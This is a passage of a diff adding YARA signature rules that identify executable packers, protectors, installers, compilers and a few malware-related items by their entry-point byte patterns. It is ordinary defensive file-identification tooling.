+		$1 = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _CubiComp_PictureMaker_graphics_format_green_
+{
+	meta:
+		description = "CubiComp PictureMaker graphics format (green)"
+	strings:
+		$0 = {26 0C FF 02 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_nSPack_13__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake nSPack 1.3) -> emadicius"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtector_V10_Build_20041213_
+{
+	meta:
+		description = "VProtector V1.0 [Build 2004.12.13"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _FASM_v13x_
+{
+	meta:
+		description = "FASM v1.3x"
+	strings:
+		$0 = {6A ?? FF 15 ?? ?? ?? ?? A3}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V102__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector V1.02 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+		$1 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RJoiner_by_Vaska_Sign_from_pinch_25032007_1700_
+{
+	meta:
+		description = "RJoiner by Vaska (Sign from pinch 25.03.2007 17:00)"
+	strings:
+		$0 = {E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10}
+		$1 = {E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v220_
+{
+	meta:
+		description = "Armadillo v2.20"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V119_aPlib_043__ap0x_
+{
+	meta:
+		description = "RLPack V1.19 (aPlib 0.43) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+		$1 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3 83 C4 08 83 C7 08 83 3C 37 00 75 DF 83 BD 48 04 00 00 00 74 0E 83 BD 4C 04 00 00 00 74 05 E8 B8 01 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 D1 03 00 00 89 85 5C 04 00 00 5B FF B5 5C 04 00 00 56 FF D3 83 C4 08 8B B5 5C 04 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 E9 94 00 00 00 56 FF 95 C9 03 00 00 85 C0 0F 84 B4 00 00 00 89 85 54 04 00 00 8B C6 EB 5B 8B 85 58 04 00 00 8B 00 A9 00 00 00 80 74 14 35 00 00 00 80 50 8B 85 58 04 00 00 C7 00 20 20 20 00 EB 06 FF B5 58 04 00 00 FF B5 54 04 00 00 FF 95 CD 03 00 00 85 C0 74 71 89 07 83 C7 04 8B 85 58 04 00 00 EB 01 40 80 38 00 75 FA 40 89 85 58 04 00 00 66 81 78 02 00 80 74 A5 80 38 00 75 A0 EB 01 46 80 3E 00 75 FA 46 40 8B 38 03 BD 3C 04 00 00 83 C0 04 89 85 58 04 00 00 80 3E 01 0F 85 63 FF FF FF 68 00 40 00 00 68 ?? ?? ?? ?? FF B5 5C 04 00 00 FF 95 D5 03 00 00 E8 3D 00 00 00 E8 24 01 00 00 61 E9 ?? ?? ?? ?? 61 C3}
+		$2 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 3C 04 00 00 EB 0C 8B 85 38 04 00 00 89 85 3C 04 00 00 8D B5 60 04 00 00 8D 9D EB 02 00 00 33 FF E8 52 01 00 00 EB 1B 8B 85 3C 04 00 00 FF 74 37 04 01 04 24 FF 34 37 01 04 24 FF D3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Vx_Spanz_
+{
+	meta:
+		description = "Vx: Spanz"
+	strings:
+		$0 = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+		$1 = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_102b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.02b -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5 2B 85 7D 7C 43 00 89 85 89 7C 43 00 80 BD 74 7C 43}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_ProActive_11__StarForce_Technology_
+{
+	meta:
+		description = "StarForce ProActive 1.1 -> StarForce Technology"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60}
+		$1 = {68 ?? ?? ?? ?? FF 25 ?? ?? 57}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Compiled_InstallSHIELD_Installation_Script_
+{
+	meta:
+		description = "Compiled InstallSHIELD Installation Script"
+	strings:
+		$0 = {B8 C9 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ZipWorxSecureEXE_v25__ZipWORX_Technologies_LLC_
+{
+	meta:
+		description = "ZipWorxSecureEXE v2.5 -> ZipWORX Technologies LLC"
+	strings:
+		$0 = {E9 B8 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 53 65 63 75 72 65 45 58 45 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 28 63 29 20 32 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1352__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.5.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04}
+		$1 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 03 ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 03 ?? ?? ?? 83 C4 04 EB 03 ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _dxp__Decrementing_1_byte_XOR_at_OEP_
+{
+	meta:
+		description = "dxp - Decrementing 1 byte XOR at OEP"
+	strings:
+		$0 = {83 EC ?? D9 34 24 8B 44 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 8A 17 ?? ?? 8B C8 81 E1 ?? ?? ?? ?? EB ?? ?? ?? 30 10 FE CA 48 49}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V121_LZMA_430__ap0x__20080504_
+{
+	meta:
+		description = "RLPack V1.21 (LZMA 4.30) -> ap0x * 20080504"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 83 7C 24 28 01 75 0C 8B 44 24 24 89 85 E0 0C 00 00 EB 0C 8B 85 DC 0C 00 00 89 85 E0 0C 00 00 E8 87 01 00 00 8D B5 08 0D 00 00 8D 9D C6 04 00 00 33 FF 6A 40 68 00 10 00 00 68 00 20 0C 00 6A 00 FF 95 71 0C 00 00 89 85 D8 0C 00 00 E8 98 01 00 00 EB 20 60 8B 85 E0 0C 00 00 FF B5 D8 0C 00 00 FF 34 37 01 04 24 FF 74 37 04 01 04 24 FF D3 61 83 C7 08 83 3C 37 00 75 DA 83 BD EC 0C 00 00 00 74 0E 83 BD F0 0C 00 00 00 74 05 E8 31 02 00 00 8D 74 37 04 53 6A 40 68 00 10 00 00 68 ?? ?? ?? ?? 6A 00 FF 95 71 0C 00 00 89 85 04 0D 00 00 5B 60 FF B5 D8 0C 00 00 56 FF B5 04 0D 00 00 FF D3 61 8B B5 04 0D 00 00 8B C6 EB 01 40 80 38 01 75 FA 40 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 EB 72 56 FF 95 69 0C 00 00 0B C0 75 05 E8 25 03 00 00 85 C0 0F 84 AC 00 00 00 89 85 FC 0C 00 00 8B C6 EB 2E 8B 85 00 0D 00 00 8B 00 50 FF B5 FC 0C 00 00 E8 6D 02 00 00 85 C0 0F 84 86 00 00 00 89 07 83 85 00 0D 00 00 04 83 C7 04 8B 85 00 0D 00 00 83 38 00 75 CD EB 01 46 80 3E 00 75 FA 46 83 C0 04 8B 38 03 BD E0 0C 00 00 83 C0 04 89 85 00 0D 00 00 80 3E 01 75 89 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 04 0D 00 00 FF 95 75 0C 00 00 68 ?? ?? ?? ?? 6A 00 FF B5 D8 0C 00 00 FF 95 75 0C 00 00 E8 A0 00 00 00 E8 9B 01 00 00 61 E9 ?? ?? ?? ?? ?? 61 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_FullEdition_V120_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack FullEdition V1.20 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 10 00 00 08 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V50X__Silicon_Realms_Toolworks____SignByfly_
+{
+	meta:
+		description = "Armadillo V5.0X -> Silicon Realms Toolworks   * Sign.By.fly"
+	strings:
+		$0 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC ?? 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v1051_
+{
+	meta:
+		description = "SVK-Protector v1.051"
+	strings:
+		$0 = {60 EB 03 C7 84 E8 EB 03 C7 84 9A E8 00 00 00 00 5D 81 ED 10 00 00 00 EB 03 C7 84 E9 64 A0 23 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_012_betaDwing_
+{
+	meta:
+		description = "Upack 0.12 beta-->Dwing"
+	strings:
+		$0 = {BE 48 01 40 00 AD ?? ?? ?? A5 ?? C0 33 C9 ?? ?? ?? ?? ?? ?? ?? F3 AB ?? ?? 0A ?? ?? ?? ?? AD 50 97 51 ?? 87 F5 58 8D 54 86 5C ?? D5 72 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B6 5F FF C1}
+	condition:
+		$0 at entrypoint
+}
+rule _AZProtect_0001__by_AlexZ_aka_AZCRC_
+{
+	meta:
+		description = "AZProtect 0001 - by AlexZ aka AZCRC"
+	strings:
+		$0 = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83}
+		$1 = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41}
+		$2 = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Nullsoft_Install_System_20b4_
+{
+	meta:
+		description = "Nullsoft Install System 2.0b4"
+	strings:
+		$0 = {83 EC 10 53 55 56 57 C7 44 24 14 F0 91 40 00 33 ED C6 44 24 13 20 FF 15 2C 70 40 00 55 FF 15 88 72 40 00 BE 00 D4 42 00 BF 00 04 00 00 56 57 A3 60 6F 42 00 FF 15 C4 70 40 00 E8 9F FF FF FF 8B 1D 90 70 40 00 85 C0 75 21 68 FB 03 00 00 56 FF 15 60 71 40 00}
+		$1 = {83 EC 14 83 64 24 04 00 53 55 56 57 C6 44 24 13 20 FF 15 30 70 40 00 BE 00 20 7A 00 BD 00 04 00 00 56 55 FF 15 C4 70 40 00 56 E8 7D 2B 00 00 8B 1D 8C 70 40 00 6A 00 56 FF D3 BF 80 92 79 00 56 57 E8 15 26 00 00 85 C0 75 38 68 F8 91 40 00 55 56 FF 15 60 71}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Portable_BitMap_PBM_Graphics_format_
+{
+	meta:
+		description = "Portable BitMap (PBM) Graphics format"
+	strings:
+		$0 = {50 36 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _kkrunchy_V0X__Ryd__20090618_
+{
+	meta:
+		description = "kkrunchy V0.X -> Ryd * 20090618"
+	strings:
+		$0 = {89 FE 29 C6 F3 A4 5E EB ?? 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 31 C0 31 DB 31 C9 5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 ?? ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 89 D8 E2 D9 8D BE ?? ?? ?? ?? 8B 07 09 C0 74 45 8B 5F 04 8D 84 ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF 96 ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 ?? ?? ?? ?? 61 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeJoiner_Small_build_023__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 023) -> GlOFF"
+	strings:
+		$0 = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF}
+		$1 = {E8 E1 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_133__21_Registered__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov"
+	strings:
+		$0 = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+		$1 = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sc_Obfuscator__SuperCRacker_
+{
+	meta:
+		description = "Sc Obfuscator -> SuperCRacker"
+	strings:
+		$0 = {60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C}
+		$1 = {60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00}
+		$2 = {60 33 C9 8B 1D 00}
+		$3 = {60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PMODEW_120_
+{
+	meta:
+		description = "PMODE/W 1.20"
+	strings:
+		$0 = {FC 16 07 BF 00 01 8B F7 57 B9 EE 12 F3 A5 06 1E 07 1F 5F BE 1D 02 06 0E A4 AD 8B E8 B2 10 1E B8 D4 01 50 CB D1 ED FE CA 75 05 AD 8B E8 B2 10 C3 E8 F1 FF 73 0F E8 EC FF 80 D1 01 D0 E1 E8 E4 FF D0 D7 E2 F9 B6 02 B1 04 FE C6 E8 D7 FF 72 1D E2}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V115002008_Beta__NEOx__20080217_
+{
+	meta:
+		description = "nPack V1.1.500.2008 Beta -> NEOx * 20080217"
+	strings:
